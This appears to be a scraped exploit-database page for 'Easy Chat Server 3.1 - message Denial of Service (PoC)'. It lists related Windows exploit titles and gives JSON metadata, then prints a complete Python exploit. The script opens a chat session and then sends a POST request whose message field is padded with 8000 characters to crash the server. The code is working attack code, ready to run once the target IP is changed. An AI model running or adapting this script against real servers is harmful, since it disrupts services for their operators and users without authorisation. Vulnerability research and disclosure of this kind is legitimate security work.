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"Easy Chat Server 3.1 - 'message' Denial of Service (PoC)"

Author

"Miguel Mendez Z"

Platform

windows

Release date

2019-05-07

Release Date Title Type Platform Author
2019-05-24 "Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption" remote windows "Simon Zuckerbraun"
2019-05-24 "Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow" local windows "Uday Mittal"
2019-05-15 "Microsoft Windows - 'Win32k' Local Privilege Escalation" local windows ExpLife0011
2019-05-22 "Microsoft Internet Explorer 11 - Sandbox Escape" local windows SandboxEscaper
2019-05-22 "Microsoft Windows (x84) - Task Scheduler' .job' Import Arbitrary Discretionary Access Control List Write / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-22 "Microsoft Windows (x84/x64) - 'Error Reporting' Discretionary Access Control List / Local Privilege Escalation" local windows SandboxEscaper
2019-05-23 "Microsoft Windows 10 (17763.379) - Install DLL" local windows SandboxEscaper
2019-05-24 "Fast AVI MPEG Joiner - 'License Name' Denial of Service (PoC)" dos windows Achilles
2019-05-24 "Cyberoam General Authentication Client 2.1.2.7 - 'Server Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-24 "Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-23 "Terminal Services Manager 3.2.1 - Denial of Service" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Share Name' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-23 "NetAware 1.20 - 'Add Block' Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-22 "TapinRadio 2.11.6 - 'Uername' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "TapinRadio 2.11.6 - 'Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "RarmaRadio 2.72.3 - 'Server' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-22 "BlueStacks 4.80.0.1060 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-21 "Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "Huawei eSpace 1.1.11.103 - DLL Hijacking" local windows LiquidWorm
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC)" dos windows "Victor Mondragón"
2019-05-20 "docPrint Pro 8.0 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "PCL Converter 2.7 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
2019-05-20 "Encrypt PDF 2.3 - Denial of Service (PoC)" dos windows "Alejandra Sánchez"
Release Date Title Type Platform Author
2019-05-07 "Easy Chat Server 3.1 - 'message' Denial of Service (PoC)" dos windows "Miguel Mendez Z"
2018-07-16 "VelotiSmart WiFi B-380 Camera - Directory Traversal" webapps hardware "Miguel Mendez Z"
2017-06-20 "BOA Web Server 0.94.14rc21 - Arbitrary File Access" webapps linux "Miguel Mendez Z"
2017-11-16 "LanSweeper 6.0.100.75 - Cross-Site Scripting" webapps aspx "Miguel Mendez Z"
2017-11-29 "Dup Scout Enterprise 10.0.18 - 'Input Directory' Local Buffer Overflow (SEH)" remote windows "Miguel Mendez Z"
2018-10-04 "NICO-FTP 3.0.1.19 - Buffer Overflow (SEH) (ASLR Bypass)" local windows_x86 "Miguel Mendez Z"
2018-01-30 "LabF nfsAxe 3.7 TFTP Client - Local Buffer Overflow" dos windows "Miguel Mendez Z"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46806/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46806/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46806/41238/easy-chat-server-31-message-denial-of-service-poc/download/", "exploit_id": "46806", "exploit_description": "\"Easy Chat Server 3.1 - 'message' Denial of Service (PoC)\"", "exploit_date": "2019-05-07", "exploit_author": "\"Miguel Mendez Z\"", "exploit_type": "dos", "exploit_platform": "windows", "exploit_port": null}
                                            

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#!/usr/bin/python
#---------------------------------------------------------
# Title: Easy Chat Server Version 3.1 - (DOS)
# Date: 2019-05-07
# Author: Miguel Mendez Z
# Team: www.exploiting.cl
# Vendor: http://www.echatserver.com
# Software Link: http://www.echatserver.com/ecssetup.exe
# Platforms: Windows
# Version: 3.1
# Tested on: Windows Windows 7_x86/7_x64 [eng]
#---------------------------------------------------------
#
# 1- Primer socket con (GET) generamos una sesion valida para luego hacer el paso 2.
# 2- Segundo enviamos (POST) la data en la variable message para crashear la aplicacion.

import os, sys, socket
from time import sleep

ip = '127.0.0.1'
padding = 'A' * 8000

GET = (
"GET /chat.ghp?username=1&password=&room=1&sex=1 HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host: "+str(ip)+":80\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://"+str(ip)+"\r\n"
"Connection: Keep-Alive\r\n\r\n"
)

try:
  print "\n [*] Ejecutando payload GET (Creando Sesion) - length " + str(len(GET))
  s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s1.connect((ip, 80))
  s1.send(GET)
  s1.recv(1024)
  s1.close()
except:
  print "Sin conexion GET"

sleep(3)

POST = (
"POST /body2.ghp?username=1&password=&room=1 HTTP/1.1\r\n"
"Host: "+str(ip)+"\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: es-CL,en-US;q=0.5\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://"+str(ip)+"/chatsubmit.ghp?username=1&password=&room=1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n\r\n"
"staticname=%3A000539&tnewname=&msayinfo=1&mnewname=&mtowho=All&mfilters=0&mfont=0&mfcolor=1&elist=&seltype=Theme&msg=&Submit=Send&sc=on&notifysound=on&message="+str(padding)+"&chat_flag="
)

try:
  print " [*] Ejecutando payload POST (Crashing) - length " + str(len(POST))
  s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s2.connect((ip, 80))
  s2.send(POST)
  s2.recv(1024)
  s2.close()
except:
  print "Sin conexion POST"